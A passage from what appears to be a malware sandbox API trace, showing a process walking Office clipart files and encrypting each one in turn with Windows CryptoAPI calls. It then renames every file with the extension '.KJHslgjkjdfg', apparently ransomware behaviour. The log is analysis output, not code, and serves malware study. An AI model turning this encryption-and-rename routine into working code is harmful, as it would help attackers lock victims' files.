lpOverlapped=0x0) returned 1 [0214.135] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0214.135] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0214.135] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0214.136] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0214.136] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0214.136] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.136] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4b7a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4b7a, lpOverlapped=0x0) returned 1 [0214.136] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4b80, dwBufLen=0x4b80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4b80) returned 1 [0214.137] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.137] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4b80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4b80, lpOverlapped=0x0) returned 1 [0214.137] CryptDestroyKey (hKey=0x9b6628) returned 1 [0214.137] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.137] SetEndOfFile (hFile=0x130) returned 1 [0214.140] GetProcessHeap () returned 0x990000 [0214.140] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0214.140] GetProcessHeap () returned 0x990000 [0214.140] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0214.140] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02794_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02794_.wmf.kjhslgjkjdfg")) returned 1 [0214.142] CloseHandle (hObject=0x130) returned 1 [0214.142] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1262e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02862_.WMF", cAlternateFileName="")) returned 1 [0214.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.143] GetProcessHeap () returned 0x990000 [0214.143] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0214.143] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0214.143] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0214.143] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0214.295] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0214.295] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0214.296] GetProcessHeap () returned 0x990000 [0214.296] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0214.296] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0214.296] CryptDestroyKey (hKey=0x9b6628) returned 1 [0214.296] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0214.296] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0214.296] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0214.296] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0214.296] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0214.296] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0214.297] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0214.297] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0214.297] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.297] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1262e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1262e, lpOverlapped=0x0) returned 1 [0214.421] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x12630, dwBufLen=0x12630 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x12630) returned 1 [0214.422] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.422] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x12630, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x12630, lpOverlapped=0x0) returned 1 [0214.423] CryptDestroyKey (hKey=0x9b6628) returned 1 [0214.423] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x12704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.423] SetEndOfFile (hFile=0x130) returned 1 [0214.426] GetProcessHeap () returned 0x990000 [0214.426] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0214.426] GetProcessHeap () returned 0x990000 [0214.427] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0214.427] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf.kjhslgjkjdfg")) returned 1 [0214.429] CloseHandle (hObject=0x130) returned 1 [0214.429] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x967a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02886_.WMF", cAlternateFileName="")) returned 1 [0214.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.431] GetProcessHeap () returned 0x990000 [0214.431] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0214.431] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0214.431] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0214.431] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0214.432] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0214.432] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0214.433] GetProcessHeap () returned 0x990000 [0214.433] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0214.433] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0214.433] CryptDestroyKey (hKey=0x9b6628) returned 1 [0214.433] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0214.433] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0214.433] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0214.433] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0214.433] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0214.433] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0214.433] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0214.433] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0214.433] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.434] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x967a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x967a, lpOverlapped=0x0) returned 1 [0214.434] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9680, dwBufLen=0x9680 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9680) returned 1 [0214.435] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.435] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9680, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9680, lpOverlapped=0x0) returned 1 [0214.435] CryptDestroyKey (hKey=0x9b6628) returned 1 [0214.435] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.435] SetEndOfFile (hFile=0x130) returned 1 [0214.437] GetProcessHeap () returned 0x990000 [0214.437] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0214.437] GetProcessHeap () returned 0x990000 [0214.437] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0214.438] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf.kjhslgjkjdfg")) returned 1 [0214.439] CloseHandle (hObject=0x130) returned 1 [0214.439] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x22f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02958_.WMF", cAlternateFileName="")) returned 1 [0214.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.441] GetProcessHeap () returned 0x990000 [0214.441] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0214.441] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0214.441] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0214.441] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0214.443] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0214.443] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0214.443] GetProcessHeap () returned 0x990000 [0214.443] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0214.443] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0214.443] CryptDestroyKey (hKey=0x9b6628) returned 1 [0214.443] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0214.443] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0214.443] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0214.443] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0214.443] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0214.443] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0214.443] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0214.443] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0214.444] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.444] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x22f4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x22f4, lpOverlapped=0x0) returned 1 [0214.444] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2300, dwBufLen=0x2300 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2300) returned 1 [0214.444] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.445] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2300, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2300, lpOverlapped=0x0) returned 1 [0214.445] CryptDestroyKey (hKey=0x9b6628) returned 1 [0214.445] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x23d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.445] SetEndOfFile (hFile=0x130) returned 1 [0214.447] GetProcessHeap () returned 0x990000 [0214.447] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0214.447] GetProcessHeap () returned 0x990000 [0214.447] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0214.447] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf.kjhslgjkjdfg")) returned 1 [0214.448] CloseHandle (hObject=0x130) returned 1 [0214.448] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x107b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SPACE_01.MID", cAlternateFileName="")) returned 1 [0214.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.450] GetProcessHeap () returned 0x990000 [0214.450] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0214.450] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0214.450] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0214.450] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x5, lpOverlapped=0x0) returned 1 [0214.502] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0214.502] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0214.503] GetProcessHeap () returned 0x990000 [0214.503] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0214.503] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0214.503] CryptDestroyKey (hKey=0x9b6628) returned 1 [0214.503] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0214.503] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0214.503] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0214.503] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0214.503] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0214.504] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0214.504] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0214.504] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0214.504] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.504] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x107b, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x107b, lpOverlapped=0x0) returned 1 [0214.694] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1080, dwBufLen=0x1080 | out: pbData=0x27d0020*, 